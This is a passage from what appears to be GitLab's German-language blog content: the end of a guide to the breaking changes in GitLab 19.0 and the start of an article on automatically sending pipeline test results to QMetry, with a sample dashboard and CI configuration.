ein reibungsloses Upgrade.\n\n\n## Deployment-Fenster\n\n\nFolgende Deployment-Fenster sind relevant.\n\n### GitLab.com\n\nInkompatible Änderungen für GitLab.com sind auf diese zwei Fenster begrenzt:\n\n- **4.–6. Mai 2026** (09:00–22:00 UTC) — primäres Fenster\n- **11.–13. Mai 2026** (09:00–22:00 UTC) — Ausweichfenster\n\nViele weitere Änderungen werden im Laufe des Monats ausgerollt. Mehr zu den Breaking Changes innerhalb dieser Fenster in der [Dokumentation zu Breaking-Change-Fenstern](https://docs.gitlab.com/update/breaking_windows/).\n\n**Hinweis:** In Ausnahmefällen können Breaking Changes geringfügig außerhalb dieser Fenster fallen.\n\n### GitLab Self-Managed\n\nGitLab 19.0 wird ab dem 21. Mai 2026 verfügbar sein.\n\n> Mehr zum [Release-Zeitplan](https://about.gitlab.com/releases/).\n\n### GitLab Dedicated\n\nDas Upgrade auf GitLab 19.0 findet im zugewiesenen Wartungsfenster statt. Das Wartungsfenster ist im Switchboard-Portal einsehbar. GitLab Dedicated-Instanzen werden auf Release N-1 gehalten, das Upgrade auf GitLab 19.0 erfolgt daher im Wartungsfenster in der Woche ab dem 22. Juni 2026.\n\nAuf der [Deprecations-Seite](https://docs.gitlab.com/update/deprecations/?removal_milestone=19.0&breaking_only=true) ist die vollständige Liste der für GitLab 19.0 geplanten Entfernungen zu finden. Im Folgenden wird erläutert, was kommt und wie man sich je nach Deployment darauf vorbereitet.\n\n\n## Breaking Changes\n\n\nFolgende Breaking Changes haben hohe Auswirkungen.\n\n### Hohe Auswirkung\n\n**1. NGINX Ingress-Unterstützung durch Gateway API mit Envoy Gateway ersetzt**\n\n_GitLab Self-Managed (Helm chart)_\n\nDer GitLab Helm chart hat NGINX Ingress als Standard-Netzwerkkomponente gebündelt. NGINX Ingress hat im März 2026 das End-of-Life erreicht. GitLab wechselt nun zu Gateway API mit Envoy Gateway als neuem Standard.\n\nAb GitLab 19.0 werden Gateway API und das gebündelte Envoy Gateway zur Standard-Netzwerkkonfiguration. Falls eine Migration zu Envoy Gateway für das eigene Deployment nicht sofort möglich ist, kann das gebündelte NGINX Ingress explizit wieder aktiviert werden — es bleibt bis zur geplanten Entfernung in GitLab 20.0 verfügbar.\n\nDiese Änderung betrifft nicht:\n\n- Das im Linux-Paket enthaltene NGINX\n- GitLab Helm chart- und GitLab Operator-Instanzen, die einen extern verwalteten Ingress- oder Gateway-API-Controller verwenden\n\nGitLab stellt bis zur vollständigen Entfernung Best-Effort-Sicherheitswartung für den geforkten NGINX Ingress chart und die zugehörigen Builds bereit. Für einen reibungslosen Übergang empfiehlt sich eine frühzeitige Migration zur bereitgestellten Gateway-API-Lösung oder zu einem extern verwalteten Ingress-Controller.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/590800)\n\n\n**2. Gebündelte PostgreSQL-, Redis- und MinIO-Komponenten aus dem GitLab Helm chart entfernt**\n\n_GitLab Self-Managed (Helm chart)_\n\nDer GitLab Helm chart hat Bitnami PostgreSQL, Bitnami Redis und einen Fork des offiziellen MinIO-Charts gebündelt, um die Einrichtung von GitLab in Proof-of-Concept- und Testumgebungen zu erleichtern. Aufgrund von Änderungen bei Lizenzierung, Projektpflege und Verfügbarkeit öffentlicher Images werden diese Komponenten ohne Ersatz aus dem GitLab Helm chart und dem GitLab Operator entfernt.\n\nDiese Charts sind ausdrücklich als nicht für den Produktionseinsatz geeignet dokumentiert. Ihr einziger Zweck war die Bereitstellung schneller Testumgebungen.\n\nWer eine Instanz mit gebündeltem PostgreSQL, Redis oder MinIO betreibt, muss vor dem Upgrade auf GitLab 19.0 der [Migrationsanleitung](https://docs.gitlab.com/charts/installation/migration/bundled_chart_migration/) folgen, um externe Dienste zu konfigurieren. Redis und PostgreSQL aus dem Linux-Paket sind von dieser Änderung nicht betroffen.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/590797)\n\n\n**3. Resource Owner Password Credentials (ROPC) OAuth Grant entfernt**\n\n_GitLab.com | Self-Managed | Dedicated_\n\nDie Unterstützung für den Resource Owner Password Credentials (ROPC) Grant als OAuth-Flow wird in GitLab 19.0 vollständig entfernt. Dies entspricht dem OAuth RFC Version 2.1-Standard, der ROPC aufgrund seiner inhärenten Sicherheitsschwächen entfernt.\n\nGitLab hat seit dem 8. April 2025 bereits eine Client-Authentifizierung für ROPC auf GitLab.com vorgeschrieben. In Version 18.0 wurde eine Administrator-Einstellung hinzugefügt, die einen kontrollierten Opt-out vor der Entfernung ermöglicht.\n\nNach dem Upgrade auf 19.0 kann ROPC unter keinen Umständen mehr verwendet werden, auch nicht mit Client-Credentials. Alle Anwendungen oder Integrationen, die diesen Grant-Typ verwenden, müssen vor dem Upgrade auf einen unterstützten OAuth-Flow migrieren — beispielsweise den Authorization Code Flow.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/issues/457353)\n\n\n**4. PostgreSQL 16 nicht mehr unterstützt — PostgreSQL 17 ist das neue Minimum**\n\n_GitLab Self-Managed_\n\nGitLab folgt einem [jährlichen Upgrade-Rhythmus für PostgreSQL](https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/data-access/database-framework/postgresql-upgrade-cadence/). In GitLab 19.0 wird PostgreSQL 17 zur Mindestanforderung, die Unterstützung für PostgreSQL 16 wird eingestellt.\n\nPostgreSQL 17 ist ab GitLab 18.9 verfügbar und kann jederzeit vor dem 19.0-Release upgradet werden.\n\nBei Instanzen mit einer einzelnen, über das Linux-Paket installierten PostgreSQL-Instanz wird beim Upgrade auf 18.11 möglicherweise ein automatisches Upgrade auf PostgreSQL 17 durchgeführt. Für das Upgrade ist ausreichend freier Speicherplatz einzuplanen.\n\nBei Instanzen mit PostgreSQL Cluster oder solchen, die das automatische Upgrade deaktivieren, ist vor dem Upgrade auf GitLab 19.0 ein manuelles Upgrade auf PostgreSQL 17 erforderlich.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/issues/589774) | [Upgrade-Anleitung](https://docs.gitlab.com/omnibus/settings/database/#upgrade-packaged-postgresql-server)\n\n\n### Mittlere Auswirkung\n\nFolgende Breaking Changes haben mittlere Auswirkungen.\n\n**1. Linux-Paket-Unterstützung für Ubuntu 20.04 eingestellt**\n\n_GitLab Self-Managed_\n\nDer Standard-Support für Ubuntu 20.04 endete im Mai 2025. Gemäß der [Richtlinie für unterstützte Plattformen im Linux-Paket](https://docs.gitlab.com/install/package/#supported-platforms) werden Pakete eingestellt, sobald ein Anbieter den Support für das Betriebssystem beendet.\n\nAb GitLab 19.0 werden keine Pakete mehr für Ubuntu 20.04 bereitgestellt. GitLab 18.11 ist das letzte Release mit Linux-Paketen für diese Distribution.\n\nWer GitLab derzeit auf Ubuntu 20.04 betreibt, muss vor dem Upgrade auf GitLab 19.0 auf Ubuntu 22.04 oder ein anderes [unterstütztes Betriebssystem](https://docs.gitlab.com/install/package/#supported-platforms) wechseln. Canonical stellt eine [Upgrade-Anleitung](https://documentation.ubuntu.com/server/how-to/software/upgrade-your-release/) für die Migration bereit.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/8915)\n\n\n**2. Unterstützung für Redis 6 entfernt**\n\n_GitLab Self-Managed_\n\nIn GitLab 19.0 wird die Unterstützung für Redis 6 entfernt. Instanzen mit einem externen Redis-6-Deployment müssen vor dem Upgrade auf Redis 7.2 oder Valkey 7.2 migrieren; Valkey 7.2 ist ab GitLab 18.9 in der Beta verfügbar, die allgemeine Verfügbarkeit ist für GitLab 19.0 geplant.\n\nDas im Linux-Paket enthaltene Redis verwendet seit GitLab 16.2 Redis 7 und ist nicht betroffen. Handlungsbedarf besteht nur bei Instanzen mit einem externen Redis-6-Deployment.\n\nMigrationsressourcen für gängige Plattformen:\n\n- **AWS ElastiCache:** Upgrade auf [Redis 7.2 oder Valkey 7.2](https://docs.aws.amazon.com/AmazonElastiCache/latest/dg/supported-engine-versions.html)\n- **GCP Memorystore:** Upgrade auf [Redis 7.2 oder Valkey 7.2](https://cloud.google.com/memorystore/docs/redis/supported-versions)\n- **Azure Cache for Redis:** Managed Redis 7.2 oder Valkey 7.2 ist auf Azure noch nicht verfügbar. Als Alternative kann ein selbstgehostetes Deployment auf Azure VMs oder AKS genutzt werden, oder die Linux-Paket-Installation, die Valkey 7.2 mit GitLab 19.0 GA unterstützen wird.\n- **Self-hosted:** Upgrade der Redis-6-Instanz auf Redis 7.2 oder Valkey 7.2.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/585839) | [Anforderungsdokumentation](https://docs.gitlab.com/install/requirements/)\n\n\n**3. `heroku/builder:22`-Image durch `heroku/builder:24` ersetzt**\n\n_GitLab.com | Self-Managed | Dedicated_\n\nDas Cloud-Native-Buildpack (CNB) Builder-Image in Auto DevOps wurde auf `heroku/builder:24` aktualisiert. Betroffen sind Pipelines, die das [`auto-build-image`](https://gitlab.com/gitlab-org/cluster-integration/auto-build-image) der [Auto Build-Stage von Auto DevOps](https://docs.gitlab.com/topics/autodevops/stages/#auto-build) verwenden.\n\nDie meisten Workloads sind nicht betroffen. Für einige Nutzende kann dies jedoch ein Breaking Change sein. Vor dem Upgrade sollten die [Heroku-24-Stack-Release-Notes](https://devcenter.heroku.com/articles/heroku-24-stack#what-s-new) und [Upgrade-Hinweise](https://devcenter.heroku.com/articles/heroku-24-stack#upgrade-notes) geprüft werden.\n\nWer nach GitLab 19.0 weiterhin `heroku/builder:22` verwenden möchte, setzt die CI/CD-Variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` auf `heroku/builder:22`.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/cluster-integration/auto-build-image/-/issues/79)\n\n\n**4. Mattermost aus dem Linux-Paket entfernt**\n\n_GitLab Self-Managed_\n\nIn GitLab 19.0 wird das gebündelte Mattermost aus dem Linux-Paket entfernt. Mattermost wurde seit 2015 mit GitLab gebündelt, verfügt inzwischen aber über ausgereifte eigenständige Deployment-Optionen. Mit Mattermost v11 wurde zudem [GitLab SSO aus dem kostenlosen Angebot entfernt](https://forum.mattermost.com/t/mattermost-v11-changes-in-free-offerings/25126), was den Mehrwert der gebündelten Integration verringert.\n\nWer das gebündelte Mattermost nicht verwendet, ist nicht betroffen. Bei Bedarf steht in der Mattermost-Dokumentation eine Anleitung zur [Migration von GitLab Omnibus zu Mattermost Standalone](https://docs.mattermost.com/administration-guide/onboard/migrate-gitlab-omnibus.html) zur Verfügung.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/590798)\n\n\n**5. Linux-Paket-Unterstützung für SUSE-Distributionen eingestellt**\n\n_GitLab Self-Managed_\n\nIn GitLab 19.0 wird die Linux-Paket-Unterstützung für SUSE-Distributionen eingestellt. Betroffen sind:\n\n- openSUSE Leap 15.6\n- SUSE Linux Enterprise Server 12.5\n- SUSE Linux Enterprise Server 15.6\n\nGitLab 18.11 ist das letzte Release mit Linux-Paketen für diese Distributionen. Der empfohlene Weg ist eine Migration zu einem [Docker-Deployment von GitLab](https://docs.gitlab.com/install/docker/installation/) auf der bestehenden Distribution — so ist kein Wechsel des Betriebssystems nötig, um weiterhin Upgrades zu erhalten.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/590801)\n\n\n### Geringe Auswirkung\n\nFolgende Breaking Changes haben geringe Auswirkungen.\n\n**1. Spamcheck aus Linux-Paket und GitLab Helm chart entfernt**\n\n_GitLab Self-Managed_\n\nIn GitLab 19.0 wird [Spamcheck](https://docs.gitlab.com/administration/reporting/spamcheck/) aus dem Linux-Paket und dem GitLab Helm chart entfernt. Es ist in erster Linie für große öffentliche Instanzen relevant — ein Sonderfall in der GitLab-Kundenbasis. Die Entfernung reduziert die Paketgröße und den Abhängigkeits-Footprint für die Mehrheit der Nutzenden.\n\nWer Spamcheck nicht verwendet, ist nicht betroffen. Wer das gebündelte Spamcheck nutzt, kann es separat über [Docker](https://gitlab.com/gitlab-org/gl-security/security-engineering/security-automation/spam/spamcheck) bereitstellen. Eine Datenmigration ist nicht erforderlich.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/590796)\n\n\n**2. Slack-Slash-Commands-Integration entfernt**\n\n_GitLab Self-Managed | Dedicated_\n\nDie [Slack-Slash-Commands-Integration](https://docs.gitlab.com/user/project/integrations/slack_slash_commands/) wird zugunsten der [GitLab for Slack-App](https://docs.gitlab.com/user/project/integrations/gitlab_slack_application/) eingestellt, die eine sicherere Integration mit denselben Funktionen bietet.\n\nAb GitLab 19.0 können Slack Slash Commands nicht mehr konfiguriert oder verwendet werden. Diese Integration existiert nur in GitLab Self-Managed und GitLab Dedicated — GitLab.com-Nutzende sind nicht betroffen.\n\nOb die eigene Instanz betroffen ist, lässt sich mit der [Betroffenheitsprüfung](https://gitlab.com/gitlab-org/gitlab/-/work_items/569345#am-i-impacted) feststellen.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/569345)\n\n\n**3. Bitbucket-Cloud-Import über API unterstützt keine App-Passwörter mehr**\n\n_GitLab.com | Self-Managed | Dedicated_\n\nAtlassian hat App-Passwörter (Benutzername-Passwort-Authentifizierung) für Bitbucket Cloud eingestellt und angekündigt, dass diese Authentifizierungsmethode ab dem 9. Juni 2026 nicht mehr funktioniert.\n\nAb GitLab 19.0 erfordert der Import von Repositories aus Bitbucket Cloud über die GitLab API [User-API-Tokens](https://support.atlassian.com/organization-administration/docs/understand-user-api-tokens/) anstelle von App-Passwörtern. Nutzende, die aus Bitbucket Server oder über die GitLab-Benutzeroberfläche aus Bitbucket Cloud importieren, sind nicht betroffen.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/588961) | [Betroffenheitsprüfung](https://gitlab.com/gitlab-org/gitlab/-/work_items/588961#am-i-impacted)\n\n\n**4. Trending-Tab auf der Seite „Projekte erkunden\" entfernt**\n\n_GitLab.com | Self-Managed | Dedicated_\n\nDer Tab **Trending** unter **Erkunden > Projekte** und die zugehörigen GraphQL-Argumente werden in GitLab 19.0 entfernt. Der Trending-Algorithmus berücksichtigt nur öffentliche Projekte und ist daher für Self-Managed-Instanzen, die hauptsächlich interne oder private Projektsichtbarkeit verwenden, nicht zielführend.\n\nIm Monat vor dem GitLab-19.0-Release wird der Tab **Trending** auf GitLab.com auf den Tab **Aktiv**, sortiert nach Sternen in absteigender Reihenfolge, weitergeleitet.\n\nEbenfalls entfernt: das `trending`-Argument in den GraphQL-Typen `Query.adminProjects`, `Query.projects` und `Organization.projects`.\n\n[Deprecation notice](https://gitlab.com/groups/gitlab-org/-/work_items/18493)\n\n\n**5. Container-Registry-Speichertreiber-Updates**\n\n_GitLab Self-Managed_\n\nZwei ältere Container-Registry-Speichertreiber werden in GitLab 19.0 ersetzt:\n\n- **Azure-Speichertreiber:** Der ältere `azure`-Treiber wird zu einem Alias für den neuen `azure_v2`-Treiber. Es ist keine manuelle Aktion erforderlich, eine proaktive Migration wird jedoch für verbesserte Zuverlässigkeit und Leistung empfohlen. Migrationsschritte sind in der [Object-Storage-Dokumentation](https://docs.gitlab.com/administration/packages/container_registry/#use-object-storage) beschrieben. [Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/issues/523096)\n\n- **S3-Speichertreiber (AWS SDK v1):** Der ältere `s3`-Treiber wird zu einem Alias für den neuen `s3_v2`-Treiber. Der `s3_v2`-Treiber unterstützt Signature Version 2 nicht — eine vorhandene `v4auth: false`-Konfiguration wird transparent ignoriert. Vor dem Upgrade ist eine Migration auf Signature Version 4 erforderlich. [Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/issues/523095)\n\n\n**6. `ciJobTokenScopeAddProject`-GraphQL-Mutation entfernt**\n\n_GitLab.com | Self-Managed | Dedicated_\n\nDie `ciJobTokenScopeAddProject`-GraphQL-Mutation wird zugunsten von `ciJobTokenScopeAddGroupOrProject` eingestellt, das zusammen mit den CI/CD-Job-Token-Scope-Änderungen in GitLab 18.0 eingeführt wurde. Automatisierungen oder Tools, die die veraltete Mutation verwenden, müssen vor dem Upgrade aktualisiert werden.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/issues/474175)\n\n\n**7. `ci_job_token_scope_enabled`-Attribut der Projects API entfernt**\n\n_GitLab.com | Self-Managed | Dedicated_\n\nDas Attribut `ci_job_token_scope_enabled` in der [Projects REST API](https://docs.gitlab.com/api/projects/) wird in GitLab 19.0 entfernt. Das Attribut wurde in GitLab 18.0 eingestellt, als die zugrundeliegende Einstellung entfernt wurde, und hat seitdem stets `false` zurückgegeben.\n\nZur Steuerung des CI/CD-Job-Token-Zugriffs werden die [CI/CD-Job-Token-Projekteinstellungen](https://docs.gitlab.com/ci/jobs/ci_job_token/#control-job-token-access-to-your-project) verwendet.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/issues/423091)\n\n\n**8. Paginierungslimit für nicht authentifizierte Projects-API auf GitLab.com eingeführt**\n\n_GitLab.com_\n\nZur Sicherstellung der Plattformstabilität und konsistenten Leistung wird für alle nicht authentifizierten Anfragen an die Projects-List-REST-API auf GitLab.com ein maximales Offset-Limit von 50.000 eingeführt. Beispielsweise ist der `page`-Parameter bei 20 Ergebnissen pro Seite auf 2.500 Seiten begrenzt.\n\nWorkflows, die Zugriff auf mehr Daten benötigen, müssen keyset-basierte Paginierungsparameter verwenden. Dieses Limit gilt nur für GitLab.com. In GitLab Self-Managed und GitLab Dedicated ist das Offset-Limit standardmäßig deaktiviert und hinter einem Feature-Flag verfügbar.\n\n[Deprecation notice](https://gitlab.com/gitlab-org/gitlab/-/work_items/585176)\n\n\n## Ressourcen zur Folgenabschätzung\n\nGitLab stellt spezifische Tools bereit, mit denen sich die Auswirkungen der geplanten Änderungen auf die eigene GitLab-Instanz analysieren lassen. Nach der Folgenabschätzung empfiehlt sich die Prüfung der Migrationsschritte in der jeweiligen Dokumentation für einen reibungslosen Übergang zu GitLab 19.0.\n\n**[GitLab Detective](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective) (nur Self-Managed):** Dieses experimentelle Tool prüft eine GitLab-Installation automatisch auf bekannte Probleme, indem es Konfigurationsdateien und Datenbankwerte analysiert. Hinweis: Es muss direkt auf den GitLab-Nodes ausgeführt werden.\n\nNutzende mit einem kostenpflichtigen Plan, die Fragen haben oder Unterstützung bei diesen Änderungen benötigen, können ein Support-Ticket im [GitLab Support-Portal](https://support.gitlab.com/) eröffnen.\n\nKostenlose GitLab.com-Nutzende können zusätzlichen Support über Community-Ressourcen wie die [GitLab-Dokumentation](https://docs.gitlab.com/), das [GitLab Community Forum](https://forum.gitlab.com/) und [Stack Overflow](https://stackoverflow.com/questions/tagged/gitlab) erhalten.\n",[746,721],[1115],"Martin Brümmer","Ein Leitfaden zu den Breaking Changes in GitLab 19.0","GitLab 19.0 steht vor der Tür: Was sich ändert, welche Anpassungen das eigene Deployment erfordert und wie man sich auf das Upgrade vorbereitet.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1775561395/bhe1as7ttjvzltxwgo5m.png",{"featured":645,"template":796,"slug":1120},"a-guide-to-the-breaking-changes-in-gitlab-19-0",{"content":1122,"config":1132},{"title":1123,"description":1124,"heroImage":1125,"category":746,"tags":1126,"authors":1128,"date":1130,"body":1131},"Testergebnisse aus GitLab-Pipelines automatisch in QMetry übertragen","Der QMetry GitLab Component überträgt Testergebnisse automatisch aus CI/CD-Pipelines in QMetry – ohne manuelle Schritte, mit vollständigem Audit-Trail.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1775486753/cswmwtygkgkbdsibo09v.png",[853,746,1127],"devops",[1057,1129],"Matt Bonner","2026-04-07","In modernen Entwicklungsumgebungen müssen DevSecOps-Teams Testergebnisse aus CI/CD-Pipelines konsistent in Testmanagement-Plattformen übertragen, um Transparenz, Nachvollziehbarkeit und Compliance über den gesamten Entwicklungszyklus zu gewährleisten.\nTeams, die GitLab für CI/CD und SmartBear QMetry für das Testmanagement einsetzen, verbringen Zeit mit manuellem Export und Import von Testergebnissen – das verzögert Feedback und erschwert eine zuverlässige, zentrale Testsicht.\nDer **QMetry GitLab Component** automatisiert diesen Prozess. Die wiederverwendbare CI/CD-Komponente, verfügbar im [GitLab CI/CD Catalog](https://gitlab.com/explore/catalog), überträgt Testausführungsdaten nach jeder Pipeline-Ausführung automatisch nach QMetry – einer KI-gestützten, unternehmenstauglichen Testmanagement-Plattform, die Testplanung, -ausführung, -nachverfolgung und -reporting in einer Lösung vereint.\nAls zentrales System der Aufzeichnung für Tests hilft QMetry Teams dabei, Abdeckung und Ausführung nachzuverfolgen und fundiertere Release-Entscheidungen zu treffen.\n![SmartBear QMetry GitLab integration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775488045/ojt707rzxnm2yr3vqxdh.png)\n\n## Vorteile der Integration\n\n### Manuelle Uploads entfallen, Nachvollziehbarkeit steigt\nDevSecOps-Engineers und QA-Teams müssen Testergebnisse nicht mehr manuell exportieren und importieren – die Komponente übernimmt das automatisch nach jeder Pipeline-Ausführung. Zugleich erhalten Teams vollständige Nachvollziehbarkeit von Anforderungen über Testfälle bis hin zu tatsächlichen Ausführungsergebnissen.\n\n![Test results with SmartBear QMetry GitLab integration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775488045/ajx64sihup2nursdpnxz.png)\n\n### Compliance- und Audit-Anforderungen erfüllen\nFür Organisationen in regulierten Branchen ist lückenlose Testdokumentation nicht verhandelbar. Die Integration stellt sicher, dass jede Testausführung in QMetry mit Verknüpfungen zur jeweiligen GitLab-Pipeline, zum Commit und zum Build dokumentiert wird – ohne zusätzlichen manuellen Aufwand.\n![Audit-ready record of testing with SmartBear QMetry GitLab integration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775488045/q2tbaw5otgdywjkcquqx.png)\n\n### KI-gestützte Test-Insights nutzen\nQMetry analysiert mithilfe von KI Testausführungsmuster, identifiziert instabile Tests, prognostiziert Testfehler und empfiehlt Optimierungsmöglichkeiten. Echtzeit-Daten aus GitLab-Pipelines maximieren den Wert dieser Funktionen.\n![Genaue Insights mit SmartBear QMetry GitLab integration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775488045/pl7ru4wx8ixnheedfyrs.png)\n\n## Über die GitLab-SmartBear-Partnerschaft\nDiese Komponente steht für die wachsende Partnerschaft zwischen GitLab und SmartBear, CI/CD-Ausführung und Testmanagement in einem Workflow zu verbinden. Gemeinsam helfen sie Teams, Testing in den Entwicklungszyklus zu integrieren und dabei die Qualitäts-, Sicherheits- und Compliance-Standards ihrer Branchen einzuhalten.\n\n## Praxisbeispiele\n\n### Finanzdienstleistungen: Enterprise-Banking-Plattformen\nFührende Finanzinstitute stehen vor besonderen Herausforderungen beim Skalieren von Testautomatisierung:\n* **Regulatorische Compliance**: Detaillierte Audit-Trails für alle Testaktivitäten erforderlich\n* **Mehrere Compliance-Frameworks**: BaFin BAIT, PSD2, DSGVO und interne Risikomanagement-Richtlinien\n* **Hochfrequente Deployments**: Mehrere Produktions-Deployments täglich über Microservices\n* **Verteilte Teams**: Echtzeit-Transparenz über globale Engineering-Teams hinweg erforderlich\nFinanzdienstleister, die den QMetry GitLab Component einsetzen, automatisieren Testergebnis-Uploads für Unit-Tests, API-Contract-Tests, End-to-End-Tests für Transaktionsabläufe sowie Security- und Performance-Testergebnisse.\n\n**Mögliche Ergebnisse**:\n* **Deutliche Reduzierung** des manuellen Test-Reporting-Aufwands\n* **Vollständige Audit-Trail-Abdeckung** für Regulierungsprüfungen\n* **Echtzeit-Transparenz** für verteilte QA-Teams\n* **Verbesserte Compliance-Position** durch vollständige Nachvollziehbarkeit von Anforderungen bis zur Testausführung\n\n### Flugregelungssoftware in der Luft- und Raumfahrt\nDie Softwareentwicklung in der Luft- und Raumfahrt unterliegt besonderen Anforderungen:\n* **DO-178C-Compliance**: Avioniksoftware muss strikte Zertifizierungsstandards erfüllen\n* **Vollständige Nachvollziehbarkeit**: Jede Anforderung verknüpft mit Testfällen und Ausführungsergebnissen\n* **Audit-Trails**: Zertifizierungsbehörden verlangen detaillierte Aufzeichnungen aller Testaktivitäten\n* **Mehrere Teststufen**: Unit-, Integrations-, System- und Zertifizierungstests\nDurch die Integration von GitLab CI/CD mit QMetry automatisiert das Aerospace-Engineering-Team Testausführung und Reporting über alle Teststufen hinweg.\n\n**Vor der Integration**:\n* Manueller Export aus GitLab, Import in QMetry über UI-Uploads\n* Prozess dauerte 2–3 Stunden pro Testzyklus\n* Fehlerrisiko bei der Dateneingabe, verzögerte Rückmeldung an Stakeholder\n\n**Nach der Integration**:\n* Testergebnisse fließen automatisch von GitLab nach QMetry\n* Vollständiger Audit-Trail vom Commit über den Test bis zum Ergebnis\n* Kein manueller Eingriff, Echtzeit-Transparenz für Zertifizierungsprüfer\n* Compliance-Reports werden automatisch erstellt\n\n**Beispiel-Dashboard in QMetry nach der Integration**:\n```none\n    ╔════════════════════════════════════════════════════════════╗\n    ║  Flight Control System v2.4 - Test Execution Dashboard     ║\n    ╠════════════════════════════════════════════════════════════╣\n    ║                                                            ║\n    ║  📊 Test Execution Summary (Last 7 Days)                   ║\n    ║  ───────────────────────────────────────────────────────── ║\n    ║  ✓ Total Tests Executed: 1,247                             ║\n    ║  ✓ Passed: 1,241 (99.5%)                                   ║\n    ║  ✗ Failed: 6 (0.5%)                                        ║\n    ║  ⏸ Skipped: 0                                              ║\n    ║                                                            ║\n    ║  📁 Test Suite Organization                                ║\n    ║  ───────────────────────────────────────────────────────── ║\n    ║  └─ Certification/                                         ║\n    ║     └─ DO-178C/                                            ║\n    ║        ├─ Unit/ (487 tests, 100% pass)                     ║\n    ║        ├─ Integration/ (623 tests, 99.2% pass)             ║\n    ║        └─ System/ (137 tests, 100% pass)                   ║\n    ║                                                            ║\n    ║  🔗 Traceability                                           ║\n    ║  ───────────────────────────────────────────────────────── ║\n    ║  Requirements Covered: 342/342 (100%)                      ║\n    ║  Test Cases Linked: 1,247/1,247 (100%)                     ║\n    ║  GitLab Pipeline Executions: 47 (automated)                ║\n    ║                                                            ║\n    ║  ⚠️  Action Items                                          ║\n    ║  ───────────────────────────────────────────────────────── ║\n    ║  • 6 failed tests require investigation                    ║\n    ║  • Last execution: 2 minutes ago (Pipeline #1543)          ║\n    ║  • GitLab Commit: a7f8c23 \"Fix altitude hold logic\"        ║\n    ║                                                            ║\n    ╚════════════════════════════════════════════════════════════╝\n    \n```\n### Compliance- und Audit-Vorteile\n\n**Für Finanzdienstleister (BaFin BAIT, PSD2, SOX)**:\n1. **Automatische Nachvollziehbarkeit**: Regulatorische Anforderungen → Testfälle → Ausführungsergebnisse → GitLab-Commits verknüpft\n2. **Auditfähige Dokumentation**: Vollständige Testausführungshistorie mit Zeitstempeln und Pipeline-Referenzen\n3. **Regulatorisches Reporting**: Compliance-Reports direkt aus QMetry-Testdaten generieren\n\n**Für die Luft- und Raumfahrt-Zertifizierung (DO-178C, DO-254)**:\n1. **Automatische Nachverfolgbarkeitsmatrix**: Anforderungen → Testfälle → Ausführungsergebnisse → GitLab-Commits\n2. **Unveränderlicher Audit-Trail**: Pipeline-ID, Commit-SHA und Ausführer für jede Testausführung gestempelt\n3. **Zertifizierungspaket-Generierung**: Konforme Dokumentation aus GitLab-Pipeline-Daten\n\n---\n\n## Technische Umsetzung\n*Dieser Abschnitt orientiert Teams, die die Integration einrichten möchten. Die vollständige Schritt-für-Schritt-Anleitung mit allen Konfigurationsdetails – API-Credentials, CI/CD-Variablen, Testformate, erweiterte Optionen und Fehlerbehebung – ist im [englischen Originalbeitrag](https://about.gitlab.com/blog/streamline-test-management-with-the-smartbear-qmetry-gitlab-component/) verfügbar.*\n\n## Voraussetzungen\n* **GitLab-Account** mit einem Projekt, das automatisierte Tests enthält und Testergebnisdateien erzeugt (JUnit XML, TestNG XML usw.)\n* **QMetry Test Management Enterprise**-Account mit aktiviertem API-Zugriff und generiertem API-Key\n* **QMetry-Projekt**, bereits angelegt, in das Testergebnisse hochgeladen werden sollen\n* **Kenntnisse in GitLab CI/CD**, einschließlich grundlegender `.gitlab-ci.yml`-Syntax\n### Ablauf der Testergebnis-Übertragung\n1. **Testausführung**: Die GitLab CI/CD-Pipeline führt automatisierte Tests aus.\n2. **Ergebnisgenerierung**: Tests erzeugen Ausgabedateien (JUnit XML, TestNG XML usw.).\n3. **Komponentenaufruf**: Die QMetry-Komponente wird als Job in der Pipeline ausgeführt.\n4. **Automatischer Upload**: Die Komponente liest die Testergebnisdateien und lädt sie via API nach QMetry hoch.\n5. **QMetry-Verarbeitung**: QMetry empfängt die Ergebnisse und stellt sie für Reporting und Analyse bereit.\n\n## Basisintegration\nDie Komponente in der `.gitlab-ci.yml`-Datei einbinden. Die Komponente sollte **nach** dem Abschluss der Tests ausgeführt werden:\n```yaml\n    include:\n      - component: gitlab.com/sb9945614/qtm-gitlab-component/qmetry-import@1.0.5\n        inputs:\n          stage: test\n          project: \"Aerospace Flight Control System\"\n          file_name: \"results.xml\"\n          testing_type: \"JUNIT\"\n          instance_url: ${INSTANCE_URL}\n          api_key: ${QMETRY_API_KEY}\n  ```\n\n\n| Parameter | Beschreibung | Beispiel |\n| ----- | ----- | ----- |\n| `stage` | CI/CD-Stage für den Upload-Job | `test` |\n| `project` | QMetry-Projektname oder -Schlüssel | `\"Aerospace Flight Control System\"` |\n| `file_name` | Pfad zur Testergebnisdatei | `\"results.xml\"` |\n| `testing_type` | Format der Testergebnisse | `\"JUNIT\"` (auch: `TESTNG`, `NUNIT` usw.) |\n| `instance_url` | QMetry-Instanz-URL | `${INSTANCE_URL}` (aus CI/CD-Variablen) |\n| `api_key` | QMetry API-Key zur Authentifizierung | 